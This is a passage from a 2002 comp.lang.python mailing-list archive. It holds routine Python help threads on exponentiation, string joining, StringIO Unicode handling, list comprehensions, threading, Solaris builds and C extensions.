<3CEBDD1F.3070107@rogers.com> Message-ID: <LNBBLJKPBEHFEDALKOLCCEHAPHAA.tim.one@comcast.net> [Mike C. Fletcher] > I've noticed the use of 2**HUGENUMBER as a speed test a couple of times > now. I'm curious why the language(s) doesn't (don't) optimise 2**X > operations for really huge exponents. Python obviously optimises 1**x > (since 1**1000000 returns instantly), so why not 2**x where x > > (30 or 62)? > > i.e. return 1L<<exponent Why bother? i**j is performed by a general algorithm that does a number of long-int multiplications, but no more than 2*ceiling(log_base_2(j)) of them. i==1 is not a special case; it zooms simply because all of the O(log(j)) intermediate products are exactly 1, so go very quickly. > I'm guessing the reason is "no one really uses this much, so there's not > much point putting the effort into the change", but I'm still curious if > I'm missing something about 2-exponentiation. No, there's simply no point to burning code space to special-case power-of-2 bases; if you know your base is a power of 2, feel free to shift yourself -- I do <wink>. From mjais at web.de Thu May 16 09:20:05 2002 From: mjais at web.de (Markus Jais) Date: Thu, 16 May 2002 15:20:05 +0200 Subject: Python Cookbook from Oreilly??? Message-ID: <ilOE8.9$vd4.245@news.ecrc.de> hi at amazon.com I saw that there should be a python cookbook published by oreilly in April 2002, but I can not find it at www.oreilly.com does anybody if and when this will be published??? for Ruby I have always "The Ruby Way" by Hal Fulton on my desk which is writtin in a cookbook style. such a book saves a lot of time this is definitely a book that is missing for python right now. markus From peter at engcorp.com Sat May 4 23:11:42 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 04 May 2002 23:11:42 -0400 Subject: looping through a list References: <e2e9e807.0204261611.7514b387@posting.google.com> Message-ID: <3CD4A2EE.CB331FB8@engcorp.com> [Reposting to possibly-still-relevant threads since all my outbound news has been swallowed for the last week. Originally posted April 26.] Hugh wrote: > > I need help with a really simple algorithm that I can't get my head > around. I am looping through the list returned by a dcoracle2 execute > statement and need to add each item of data surrounded by some HTML > table tags to a string called text which I then pass to a page > generation method. At the moment I've got this: > > result = c.fetchone() > if (result != ""): In Python you can often test with just "if result:" rather than by explicit comparison with the empty string. Whether you really want to do that depends on the context. By the way, I hope your indentation wasn't as shown above, because that should generate an IndentationError. Always take care with spaces/tabs and indentation when pasting Python code into the newsreader. > i=0 > text = '<tr width = "80%" align = "center">' > while (i != len(result)+1): > i = i + 1 You're effectively writing code for some other language in the guise of Python. It can work, but there are generally much simpler ways in Python than incrementing an index value as if this were a "for" loop in another language. Try this instead: text = [] text.append('<tr ...>') for char in result: text.append('<td ...>%s</td>' % char) text.append('</tr>') text = ''.join(text) I've left out the if/else for simplicity, and replaced the attributes with the "...". A few note on the above (untested) code: 1. Concatenating strings can get very slow since you are actually creating a new string from the two old ones every time you do that. Strings in Python are "immutable", so you cannot change them in place. What looks like you are modifying the string 'text' is actually creating a new string in a different location and *rebinding* the name 'text' to the new string, and freeing up the memory for the old one. 2. As a result of item 1, the simplest way to avoid the potential problems is to create a list, append all the string fragments you want, then join them together at the end (as I did above, rebinding the name 'text' from the list to the resulting, joined string. You could use '\n'.join(text) if you wanted to join each fragment with a newline in between, for example. 3. The "for" statement in Python will automatically iterate through each element of a sequence like "result". In the example above, each element (a character) is assigned in sequence, one at a time, to the name "char". This is faster and much simpler than using an index variable and manually indexing into "result" as you were trying (and always avoids one-off errors such as your index out-of-bounds problem). As with other Python constructs, this can easily avoid entire classes of bugs that commonly occur with other languages. Ain't Python the coolest? :) 4. The char can be inserted into the appropriate place in the string either by joining multiple pieces together as you did, or by using the "%" formatting operator. Sometimes it's six of one, a half dozen of the other, but I find it generally more readable than a bunch of "+" concatenation, and it's much more general and flexible. In the case above, the "%s" is replaced by the character in "char" in the resulting string. 5. As a rule, you're better off always posting code that you have actually run, along with the exception that is generated. This ensures we'll answer the right question... in this case it might not have mattered though. > At the moment, it keeps saying list index out of bounds and I don't > know where I'm going wrong. I've tried all sorts of things in the > While statement and still can't get it going. Of course, we could also debug the while statement, but why bother... "for" is much easier. :-) Cheers, -Peter From hst at empolis.co.uk Wed May 22 06:43:57 2002 From: hst at empolis.co.uk (Harvey Thomas) Date: Wed, 22 May 2002 11:43:57 +0100 Subject: Converting HTML to XHTML Message-ID: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BC1@hendrix.empolisuk.com> Sebastian Roth wrote: > Hi all, > > there's a new problem for me. I want to convert an HTML-File to an > XHTML-File. The first step for that would be that standalone tags get > an / at the end. > > So my question is the following: > Are there any modules for this formatting or must I write > some regular > expressions for that? > > Thank you in advance, > > Sebastian > Have a look at HTML Tidy at http://www.w3.org/People/Raggett/tidy/ This can probably do the complete job for you. HTH Harvey _____________________________________________________________________ This message has been checked for all known viruses by the MessageLabs Virus Scanning Service. From grante at visi.com Wed May 8 12:53:23 2002 From: grante at visi.com (Grant Edwards) Date: Wed, 08 May 2002 16:53:23 GMT Subject: Has Red Hat helped or hurt? References: <mailman.1020874334.9319.python-list@python.org> Message-ID: <7KcC8.69325$vm6.12809030@ruti.visi.com> In article <mailman.1020874334.9319.python-list at python.org>, Christian Tanzer wrote: > I doubt anybody would care which Python version Red Hat uses > for their tools if they didn't make it unreasonably difficult > for their users to use a current Python version for non-Red Hat > purposes. They don't make it the least bit difficult. I've never had any problems using either the Python2 package from RH or from-scratch installs of Python 2.x. I agree that it would be nice if they put 1.5.2 in as a "private" install and have 2.x as /usr/bin/python, but dealing the existing setup isn't difficult. -- Grant Edwards grante Yow! Hand me a pair of at leather pants and a CASIO visi.com keyboard -- I'm living for today! From theller at python.net Wed May 8 14:28:27 2002 From: theller at python.net (Thomas Heller) Date: Wed, 8 May 2002 20:28:27 +0200 Subject: Comments References: <mailman.1020879254.29317.python-list@python.org> Message-ID: <abbqot$gpd61$1@ID-59885.news.dfncis.de> "Mark McEahern" <marklists at mceahern.com> wrote in message news:mailman.1020879254.29317.python-list at python.org... > [Thomas Heller] > > I know about comment-region, but how do I uncomment? > > I just select Python | Uncomment region from the emacs menu. I'm not an > emacs wizard, so maybe there's a version issue that explains why you don't > have a Python item in your emacs menu while in python mode? > I have the menu entry, I just don't use it. I was looking for a function like uncomment-region, but this doesn't exist. However, hitting C-c ? points out that I have to use 'C-u C-c #' or 'C-u M-x comment-region' for uncommenting. Great! Thomas From opengeometry at NOSPAM.yahoo.ca Wed May 8 17:41:16 2002 From: opengeometry at NOSPAM.yahoo.ca (William Park) Date: 8 May 2002 21:41:16 GMT Subject: Render HTML? References: <3CD8D3A6.AD85EB08@anansispaceworks.com> <20020508162310.A2757@node0.opengeometry.ca> <mailman.1020890354.23423.python-list@python.org> Message-ID: <abc61r$gsrc7$3@ID-99293.news.dfncis.de> Cliff Wells <logiplexsoftware at earthlink.net> wrote: >> netscape -remote "openURL(http://www.babes.com) -remote "saveAs(babes.ps, Postscript)" > >> -- >> William Park, Open Geometry Consulting, <opengeometry at yahoo.ca> >> 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin > > This is what you do with an 8-CPU cluster? Some people have all the luck... I don't use it much, now that the contract is over. Besides, with the Winter over, there isn't need to heat my room. :-) -- William Park, Open Geometry Consulting, <opengeometry at yahoo.ca> 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From rnd at onego.ru Sat May 4 00:14:13 2002 From: rnd at onego.ru (Roman Suzi) Date: Sat, 4 May 2002 08:14:13 +0400 (MSD) Subject: module random: delay in "seeding" Message-ID: <Pine.LNX.4.33.0205040810140.9506-100000@rnd.onego.ru> I've noticed the following: >>> import random >>> random.seed(123) >>> print random.gauss(12,12) 7.46167701922 >>> random.seed(123) >>> print random.gauss(12,12) -6.54391487521 >>> random.seed(123) >>> print random.gauss(12,12) 7.46167701922 >>> random.seed(123) >>> print random.gauss(12,12) -6.54391487521 While it is quite understandable that normally distributed numbers come in pairs, but I thought seed() resets the state of random module... I think this sometimes can cause errors. Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Friday, May 03, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "RENTAL CAR: The only *TRUE* all-terrain vehicle." \_ From nhodgson at bigpond.net.au Fri May 10 20:44:57 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Sat, 11 May 2002 00:44:57 GMT Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <c76ff6fc.0205081337.43428505@posting.google.com> <ku3cx1qlvq.fsf@lasipalatsi.fi> <m3helhp6cc.fsf@mira.informatik.hu-berlin.de> <kuu1php323.fsf@lasipalatsi.fi> <m3wuucbjlb.fsf@mira.informatik.hu-berlin.de> <udol0hpg2g9gf7@news.supernews.com> Message-ID: <dQZC8.115171$o66.340113@news-server.bigpond.net.au> John Roth: > 2. All identifiers MUST be expressed in the character set of > a single language (treating the various latin derived languages > as one for simplicity.) That doesn't mean that only one language > can be used for a module, only that a particular identifer must make > lexical sense in a specific language. Do you have a reason for this restriction? I see there being reasons for using identifiers made from non-Roman (such as Japanese) and Roman letters when applying naming conventions or when basing names on external entities such as database identifiers. Say I have a database with a column called [JapaneseWord] and want derived entities in a (possibly automatically generated) form such as txt[JapaneseWord] and verified[JapaneseWord]. In mathematical English code I would quite like to use greek letters for pi and sigma and so forth to make the code more similar to how I'd document it. Neil From mal at lemburg.com Tue May 7 05:33:59 2002 From: mal at lemburg.com (M.-A. Lemburg) Date: Tue, 07 May 2002 11:33:59 +0200 Subject: XML: minidom toxml() does not work for non English files! :-( References: <kn37du83tagqt7obtdq89pfsbk8iuqdtk2@4ax.com> <20020506130307.A12413@ActiveState.com> Message-ID: <3CD79F87.B21DC93E@lemburg.com> Trent Mick wrote: > > Micheal, Marc-Andre, > > Perhaps you could help me shed some light on this. There are two issues > that I see: > 1. The actual problem that Jaros?aw reported. > > from xml.dom import minidom > > xmldoc = minidom.parse('myfile.xml') > > print xmldoc.toxml() > > > > It works for 7-bit text fine. But the problem is it works ONLY for > > pure ASCII text. :-( If I try to use any of non English characters, > > Python raise an exception: > > > > UnicodeError: ASCII encoding error: ordinal not in range(128) > > Jaros?aw mentions that the problem goes away if he replaces > ActivePython 2.2.1's StringIO.py with the one from the PythonLabs > distro. That would be fine (a bug in ActivePython) except that > ActivePython has the more *recent* StringIO.py. So is Jaros?aw > misusing StringIO.py or is this StringIO.py checkin incorrect or > am I confused: > MAL's checkin on the trunk: > http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/StringIO.py.diff?r1=1.19&r2=1.20 > Micheal's back port to Python 2.2: > http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/StringIO.py.diff?r1=1.19&r2=1.19.12.1 I think you have to provide more information here, e.g. the traceback and a dump of the local variables. The patch only reenables handling Unicode with StringIO, so I can't see why this fails. Could be that minidom mixes Unicode and strings and that this causes the UnicodeError to trigger due to implicit coercion going on inside StringIO. > 2. It looks to me like Python 2.2.1 does *not* include the > StringIO.py that is part of the 'r221' Python CVS tag. Am I > wrong? > > Any insight would be appreciated. > > Thanks, > Trent > > Further information: > > - StringIO CVS log: > http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/StringIO.py > > - diff of Python Labs' 2.2.1 StringIO.py with StringIO.py in CVS at the > 'r221' tag: > > C:\>diff -u C:\PythonLabs22\Lib\StringIO.py D:\cvs\python-r221\dist\src\Lib\StringIO.py > --- C:\PythonLabs22\Lib\StringIO.py Mon Sep 24 13:34:52 2001 > +++ D:\cvs\python-r221\dist\src\Lib\StringIO.py Mon Mar 18 05:31:30 2002 > > @@ -28,7 +28,7 @@ > bytes that occupy space in the buffer. > - There's a simple test set (see end of this file). > """ > - > +import types > try: > from errno import EINVAL > except ImportError: > @@ -38,8 +38,10 @@ > > class StringIO: > def __init__(self, buf = ''): > - # Force self.buf to be a string > - self.buf = str(buf) > + # Force self.buf to be a string or unicode > + if type(buf) not in types.StringTypes: > + buf = str(buf) > + self.buf = buf > self.len = len(buf) > self.buflist = [] > self.pos = 0 > @@ -135,8 +137,9 @@ > if self.closed: > raise ValueError, "I/O operation on closed file" > if not s: return > - # Force s to be a string > - s = str(s) > + # Force s to be a string or unicode > + if type(s) not in types.StringTypes: > + s = str(s) > if self.pos > self.len: > self.buflist.append('\0'*(self.pos - self.len)) > self.len = self.pos > > [Jaros?aw Zabie??o wrote] > > I have a small code: > > > > from xml.dom import minidom > > xmldoc = minidom.parse('myfile.xml') > > print xmldoc.toxml() > > > > It works for 7-bit text fine. But the problem is it works ONLY for > > pure ASCII text. :-( If I try to use any of non English characters, > > Python raise an exception: > > > > UnicodeError: ASCII encoding error: ordinal not in range(128) > > > > It does NOT work even on utf-8 xml files with any character outside > > 7-bit ASCII character set. It is strange, because utf-8 should be > > correctly parsed by all xml tools. > > > > Is it mean toxml() or toprettyxml() methods of minidom are useless for > > non English strings? I need them to cut one big xml file into smaller > > pieces and write them into several files. > > [Jaros?aw Zabie??o wrote] > > I found a solution. > > > > The last release of ActivePython has bad StringIO.py file! I compare > > it with Python 2.2.1rc from www.python.org _which works fine_. > > -- > Trent Mick > TrentM at ActiveState.com -- Marc-Andre Lemburg CEO eGenix.com Software GmbH ______________________________________________________________________ Company & Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From peter at engcorp.com Mon May 20 12:57:25 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 12:57:25 -0400 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <uecf5h5b7a67c1@news.supernews.com> <3CE68BAA.726DA1A6@engcorp.com> <e81be8b2.0205191842.51277dc7@posting.google.com> Message-ID: <3CE92AF5.C903EC25@engcorp.com> Dean Goodmanson wrote: > > Now I've blown it. Shouldn't have posted after skimming, but after > digesting. > > According the the copyright section it should have been reproduced in > it's entirety, and my quote of the Python section may have consisted > of "condensing." The "fair use" doctrine in copyright law would tend to suggest you can do that kind of thing (post an excerpt) without needing permission or forgiveness (especially as you properly attributed the source). IANAL... -Peter From aleax at aleax.it Wed May 1 11:07:58 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 15:07:58 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020261603.30900.python-list@python.org> Message-ID: <ixTz8.85553$vF6.2548065@news2.tin.it> Mark McEahern wrote: ... >> s/^([^ ]* *([^ ]*)/$2 $1/; # reverse order of 2 words > > This switches the first and last words of a sentence. I didn't bother > putting the period back in there or sentence-casing the new first word. > > import re > s = "Explicit is better than implicit." > pat = re.compile("^(\w+)(.* )(\w+)\.$") > m = pat.search(s) > if m: > print "%s%s%s" % (m.groups()[2], m.groups()[1], m.groups()[0]) I suspect a closer match to the quoted perl code's intentions is: s = re.sub(r'^(\S+)(\s+)(\S+)', r'\3\2\1', s) though it's a bit hard to tell because it seems to me that neither the original Perl (parentheses unbalanced) nor your Python (works on 1st and last rather than first two words; uses wordcharacters rather than white/nonwhite distinction) are correct. Alex From geek+ at andrew.cmu.edu Fri May 10 08:19:06 2002 From: geek+ at andrew.cmu.edu (geek) Date: 10 May 2002 08:19:06 -0400 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E20192158E45@admin56.narex.com> References: <60FB8BB7F0EFC7409B75EEEC13E20192158E45@admin56.narex.com> Message-ID: <824rhg6vr9.fsf@andrew.cmu.edu> Then <BPettersen at NAREX.com> spoke up and said: > Can we assume that you would reindent the code to fit the surroundings > if you were writing in e.g. C also? Eventually, yes. I don't have a problem with the indent/dedent procedure. Nevertheless, a real-world example was asked for, so I provided it. From garth at deadlybloodyserious.com Tue May 14 02:31:10 2002 From: garth at deadlybloodyserious.com (Garth T Kidd) Date: 13 May 2002 23:31:10 -0700 Subject: generated comprehensions Message-ID: <4c877253.0205132231.6d286d0b@posting.google.com> I'm a little worried about getting into the habit of using list comprehensions because I'll have to re-write the comprehensions back in "normal" Python whenever someone tries to shove a lot of data through them. If we're talking normal sequences, of course, it's not that much of a problem. If it fits in memory, it fits in memory. It's when you start using generators because you need to that suddenly comprehensions look a little brittle. def printOdds(upto): for odd in [num for num in xrange(upto) if num%2]: print odd ... works fine if upto is 5, but just sits there chewing up memory if upto is 10**9, at which point you abandon comprehensions and do it properly: def printOdds(upto): for num in xrange(upto): if num%2: print odd Other comprehension party tricks suffer similarly: [a for a in xrange(upto//2) if sys.stdout.write('%s\n' % (a*2+1))] I'm sure I'll figure out a decent rule of thumb (say, "unit test with the biggest practical number, and get rid of comprehensions if they turn out to be a problem", or "don't use comprehensions with generators"), but the fracture still worries me. Has anyone tried to figure out a generator variant on list comprehensions? Should all list comprehensions return generators? Regards, Garth. PS: Eh? :: >>> xrange(0,5000000000)[3] Traceback (most recent call last): File "<stdin>", line 1, in ? OverflowError: long int too large to convert to int From visschb at rjrt.com Wed May 1 20:28:12 2002 From: visschb at rjrt.com (Bruce Visscher) Date: 1 May 2002 17:28:12 -0700 Subject: Python for OpenVMS Message-ID: <6e290423.0205011628.6a8092a6@posting.google.com> There was some discussion of this some time ago. Reference this thread: http://groups.google.com/groups?hl=en&threadm=mailman.1016488230.30076.python-list%40python.org&rnum=2&prev=/groups%3Fq%3Dvms%2Bgroup:comp.lang.python.*%26hl%3Den%26scoring%3Dd%26selm%3Dmailman.1016488230.30076.python-list%2540python.org%26rnum%3D2 In any case, I am working on getting this up and running again. This time, however, I would like to use the configure script running under GNV (an open source project that is the moral equivalent of cygwin but for VMS). I have managed to create a working version of the interpreter under that environment. What I would like to know is: What is the best way to submit any patches needed to be incorporated into the next release of Python? I am currently working from the FTP snapshots (I am using 20020430 at the moment). Thanks, Bruce Visscher From phd at phd.pp.ru Fri May 24 04:01:21 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Fri, 24 May 2002 12:01:21 +0400 Subject: dumb distutils question (distutils vs. LDFLAGS) In-Reply-To: <slrnaeqc60.gni.quinn@regurgitate.ugcs.caltech.edu>; from quinn@regurgitate.ugcs.caltech.edu on Thu, May 23, 2002 at 06:11:16PM +0000 References: <slrnaeqc60.gni.quinn@regurgitate.ugcs.caltech.edu> Message-ID: <20020524120121.B5050@phd.pp.ru> On Thu, May 23, 2002 at 06:11:16PM +0000, Quinn Dunkan wrote: > I can do 'CFLAGS=-I/opt/sfw/include LDFLAGS=-L/opt/sfw/lib ./configure', but Python is non-standard in this area - it uses OPT instead of CFLAGS. But I recommend to set both flags. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From ljz at asfast.com Sun May 5 11:17:36 2002 From: ljz at asfast.com (Lloyd Zusman) Date: Sun, 05 May 2002 11:17:36 -0400 Subject: Something getmail-like, but with IMAP as well as POP3? References: <m2lmazmadp.fsf@asfast.com> <3CD4C7E2.47A049CA@engcorp.com> Message-ID: <m2elgqmxnz.fsf@asfast.com> Peter Hansen <peter at engcorp.com> writes: > Lloyd Zusman wrote: >> >> I like the "getmail" utility (written in Python), but it only handles >> POP3 retrieval. >> >> Does anyone know of any hacks or patches for "getmail", or perhaps another >> Python utility altogether, which functions similarly to "getmail" but >> which makes use of IMAP as well as POP3? > > Is it safe to assume you already know about the standard module imaplib? Yes. I'm looking for something at a higher level, if possible; something which already is using imaplib. If I can't find the utility I want, then I'm prepared to enhance "getmail" to use imaplib. I just posted here first, because I don't want to "re-invent the wheel" if there's something already out there that does what I want. > -Peter -- Lloyd Zusman ljz at asfast.com From peter at engcorp.com Thu May 9 19:14:08 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 19:14:08 -0400 Subject: high-performance python web frameworks References: <mailman.1020962897.9904.python-list@python.org> <b03e80d.0205091436.39995eb3@posting.google.com> Message-ID: <3CDB02C0.9FAA64B7@engcorp.com> Sandy Norton wrote: > > brueckd at tbye.com wrote in message news:<mailman.1020962897.9904.python-list at python.org>... > > On 9 May 2002, Sandy Norton wrote: > > > > > Has anybody made a side-by-side comparison of the performance of > > > python-oriented web frameworks? > > > > What type of performance? Generating dynamic pages, serving small objects, > > serving large objects, managing disk/database use? (is the application > > network-, disk-, database-, or cpu-intensive/bound?) > > > > Also, what are your performance needs? For most people any of the web > > frameworks will give you more performance than you actually need. > > 200,000+ users (db-intensive application with mostly dynamic pages) Any of the Python web frameworks can probably support 200,000 or more users. Now the real question is how often are those users accessing the system, and how much data are they reading or writing? From yvan.radenac at equant.com Wed May 8 06:01:30 2002 From: yvan.radenac at equant.com (Yvan Radenac) Date: 8 May 2002 03:01:30 -0700 Subject: Result of I need your experience - classification and comparison of languages References: <b9660815.0205070928.79f86983@posting.google.com> <alwyn-014BC5.23215607052002@news-text.blueyonder.co.uk> Message-ID: <b9660815.0205080201.510c822e@posting.google.com> Alwyn <alwyn at alwyn.demon.co.uk> wrote in message news:<alwyn-014BC5.23215607052002 at news-text.blueyonder.co.uk>... > In article <b9660815.0205070928.79f86983 at posting.google.com>, > yvan.radenac at equant.com (Yvan Radenac) wrote: > > > Hi, > > This is the results of the questions i asked few months ago as the > > post > > "I need your experience - classification and comparison" > > The subject of the report is "oriented object languages and their free > > implementation". > > > > First, thank you for your answers. > > > > You can find, in french, the report at > > http://www.cnamoo.net/uv/b5/ftp/mini/radenac.pdf > > Many errors and lacunae in the section 'Historique', I'm afraid. For > instance, you say that Ada was invented by the American DoD. It comes in > fact from a team under the direction of Jean Ichbiah, working for the > French firm, CII Honeywell-Bull. And I thought Ruby was devised by a > certain Yukihiro Matsumoto. :-) > > > Alwyn Hi, For the "Historique", i used a paper on the NET which said that it was Andy Hunt. As i respect the copyright, i let it as it. But i will add Yukihiro Matsumoto as you can read page 37. For Ada, it's not so simple. The DoD asked for a new language. Bull+Honeywell won. But DoD chose this language, with it's own criterias to select it. On my own, it's not false, and not really right too. I will complete this. Thank you for your attentive reading. Regards, Yvan From peter at engcorp.com Sun May 5 21:33:05 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 05 May 2002 21:33:05 -0400 Subject: threads and return values References: <3cd5d63a$1_4@nopics.sjc> Message-ID: <3CD5DD51.BF7CE2BA@engcorp.com> Adonis wrote: > > if i push a function into a thread, how can i retrieve the value of the > returning function? > > any help would greatly be appreciated. A thread never returns, so you have to store the value somewhere and retrieve it from another thread, presumably the one that created the thread in question in this case. One good way to do this is with a Queue (see standard module by that name). Create a Queue and pass it in to the thread when you create it, then wait for the thread to stick something in it and get it out. Alternatively, do a .join() on the thread to wait for it to finish, then grab the data from the Queue. Or many such variations. A simple approach I've used is simply to store the value as an attribute of the thread object and then retrieve it after the thread terminates itself. -Peter From donn at u.washington.edu Thu May 2 12:26:49 2002 From: donn at u.washington.edu (Donn Cave) Date: 2 May 2002 16:26:49 GMT Subject: _socket on solaris References: <aao9gl$km3$1@news.iucc.ac.il> <XcOz8.4556$p56.1048027@newsb.telia.net> <86elgvmsvz.fsf@buxtech.com> Message-ID: <aarpc9$1jb4$1@nntp6.u.washington.edu> Quoth Phil Eschallier <phil at buxtech.com>: ... | I wanted to follow-up noting that the build process for Python under | Solaris is less than perfect. I've experienced this same _socket | module not being found and "yes", the build is broken. | | The root of the issue is that the distutils used for compiling | determine the libs needed and add the -I / -L as needed. But no -R | options are added. My problem came from the fact that I have OpenSSL | deployed under /usr/local/ssl ... and the build process adds the -L to | find ssl.so and crypt.so ... but the resulting _socket.so does not | have the runtime path to the OpenSSL libs, the test load of _socket.so | fails, and it is removed from the build. The same holds for TK | support and one or two others. | | Under Linux this is a non-issues as ldconfig is available. | | My work-around for now is to add all the -L / -R directives I need to | the CC environment variable before running the initial 'configure' | script (because only hte CC and LDSHARED variables are passed from | Makefile to setyp.py). | | I hope this helps ... and I hope that Python becomes more Solaris | friendly as it matures. You might submit a bug report for this. It sounds to me like more than strictly a Solaris problem - I would expect to see it on Digital UNIX, for example, and surely others. In my experience with Digital UNIX, if I make a xyzmodule.so that depends on libxy.so, I have to build python so that it can find libxy.so (-rpath or whatever) before it can import xyz. Which is kind of unfortunate, it would be nice to be able to build a module and just run it, without needing to rebuild python. Donn Cave, donn at u.washington.edu From xscottgjunk at yahoo.com Mon May 27 22:24:27 2002 From: xscottgjunk at yahoo.com (Scott Gilbert) Date: 27 May 2002 19:24:27 -0700 Subject: returning a python array from a C extension References: <3CF29A3D.5EF81E74@cpsc.ucalgary.ca> Message-ID: <79b2b0bb.0205271824.56773e2b@posting.google.com> Maxwell Todd Sayles <sayles at cpsc.ucalgary.ca> wrote: > in python i can write: > > from array import * > a = array ('B', 'some test data') > > and a refers to an array object. > > now i have a C extension for python that returns a PyString, and within > python i can convert it to an array > > e.g.: > > from array import * > from MyCExtension import * > a = array ('B', cfunction()) > > but this method requires an extra copy and construction from the string > to the array. > > is there a way i can have cfunction return a python array? i tried > looking through the include files with the Python/C API and couldn't > find anything. any help would be appreciated. > Yes, but since arraymodule.c doesn't have a C level API, you have to use C to do what you would do from Python. I haven't compiled this, and I'm being a little sloppy so you should read the docs, but it would be something like: /* declarations */ PyObject* globals; PyObject* ignore; PyObject* array; char* pointer; int length; /* setup */ globals = PyDict_New(); /* import array */ ignore = PyRun_String( "import array", Py_file_input, globals, globals ); Py_XDECREF(ignore); /* create a 1234 byte array object */ array = PyRun_String( "array.array('B', 'X')*1234", Py_eval_input, globals, globals ); /* use the PyBufferProcs to get a pointer to your n bytes */ PyObject_AsWriteBuffer(array, &pointer, &length); /* build your data in your new pointer (no copy required) */ memset(pointer, 'Z', length); /* cleanup */ Py_XDECREF(globals); /* return put it some where... */ return array; Also note that if your array is really big, it would be faster to multiply in parts: /* create a 16 meg array */ array = PyRun_String( "array.array('B', 'X')*1024*1024*16", Py_eval_input, globals, globals ); Finally, it would probably be better to get the globals dict from a real module - using the PyModule_GetDict(...) API instead of PyDict_New(). I think the above will work today, but I suspect someday that might not be the case... Cheers, -Scott From tdelaney at avaya.com Tue May 21 21:08:44 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Wed, 22 May 2002 11:08:44 +1000 Subject: Is python really slow? Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A303@natasha.auslabs.avaya.com> > From: Chris [mailto:chrisl_ak at hotmail.com] > http://www.python.org/doc/Comparisons.html > I am a bit > disheartened at how common it seems to code only some of a program in > Python and use C for other parts, and how much discussion > here involves using C for X and Y. It is actually quite rare for most people using python to explicitly use C<->Python directly. There are many modules which are written in C, however for most users this is completely transparent - from Python they behave exactly the same as a module written in Python. > language. I don't > see nearly as much discussion about doing this in the Perl newgroups. That would probably be because it's a lot harder to do in Perl. It is actually quite easy to write extensions in C for Python which will work on every platform that Python itself runs on. > Should I just be learning C instead? Is this just because of > the different > applications python is being put to use for or because Python > programmers > are more "multi-lingual" or is Python really so slow that one > needs to go > to C on a more regular basis? Definitely do not learn C *instead* of Python. Python programmers do tend to "use the best tool for the job". In most cases, the best tool is pure python, using modules (e.g. Numeric Python) which are written in C/C++ to improve performance when needed. Most of the discussions you see are from people who are writing modules for others to use, or who are investigating the Python codebase or C extension codebase to scratch an itch. Python is normally "fast enough", and in general is about the same performance as perl (of course, the actual performance depends on the specific task and the algorithm chosen). Most of the time poor performance is due to a poor algorithm - it is much easier to get the algorithm right in Python than in most languages. Tim Delaney From iwaters at btclick.com Sun May 12 17:13:20 2002 From: iwaters at btclick.com (ian) Date: Sun, 12 May 2002 22:13:20 +0100 Subject: small string split prob References: <QRzD8.62305$oK4.106853@NewsReader> <t1AD8.50076$zW3.665694@news1.tin.it> Message-ID: <U8AD8.54081$7R.63468@NewsReader> cheers ive just started learning many thanks "Max" <nospam at nospam.nospam> wrote in message news:t1AD8.50076$zW3.665694 at news1.tin.it... > "ian" <iwaters at btclick.com> ha scritto nel messaggio > news:QRzD8.62305$oK4.106853 at NewsReader... > > hi im having trouble splitting a string any help would be great!! > > The RCPTTO contains a line read from a socket. > > when i try to split an e-mail address into the box and domain sub parts i > > get a type error on index!? > > > > #split e-mail address > > index = RCPTTO.find("@") > > box = RCPTTO[0,index] > > domain = RCPTTO[index + 1,RCPTTO.len()] > > > > print box > > print domain > > > > Try this one: > > index = RCPTTO.find("@") > box = RCPTTO[0: index] > domain = RCPTTO[index + 1: len(RCPTTO)] > print box > print domain > > It should work. You used , instead of : for slicing, syntax error. > I'm not sure, but i think string have no .len() member function. I use > len(string) to acheive the same result... > > From aleax at aleax.it Mon May 13 03:16:21 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 07:16:21 GMT Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <chris-55B5FD.02324413052002@corp.supernews.com> Message-ID: <9LJD8.34714$CN3.1229512@news2.tin.it> Chris wrote: ... > While I enjoy Python - and I do... it opned up the world of OO > programming for me - I think there's almost a danger in things being too > obvious. Creativity can be a messy business, but ultimately it leads to > better places. The Python culture, by not particularly valuing "creativity" at the lowest levels of programming, just frees up creative juices for use where you get the best returns on them -- overall system architecture, algorithms, sophisticated data structures. Imagine two painters. One spends half his time at arts supplies stores, checking out the tiniest differences between different models of brushes, different brands of paint, canvases prepared with minutely distinct processes yielding minute roughness and absorption differences, and so on. The other painter has settled on good, reliable lines of brushes, paint and canvases, had put these minutiae basically out of her mind, and spends her time and energy actually painting, working out different lighting and composition techniques, and so on. Who's the really creative painter here, and who's the one at risk of gadgetomania? Many areas of human endeavour present similar choices. Like most computer geeks, I'm seriously at risk of "WOW, bright new toys!" syndrome -- the tiny differences in brushes, paints &c, absolutely fascinate me and hold me spell-bound. I'm thus well served by a culture that de-emphasizes this in favour of higher-level, architectural deployment of my creativity. Alex From aahz at pythoncraft.com Wed May 15 16:27:38 2002 From: aahz at pythoncraft.com (Aahz) Date: 15 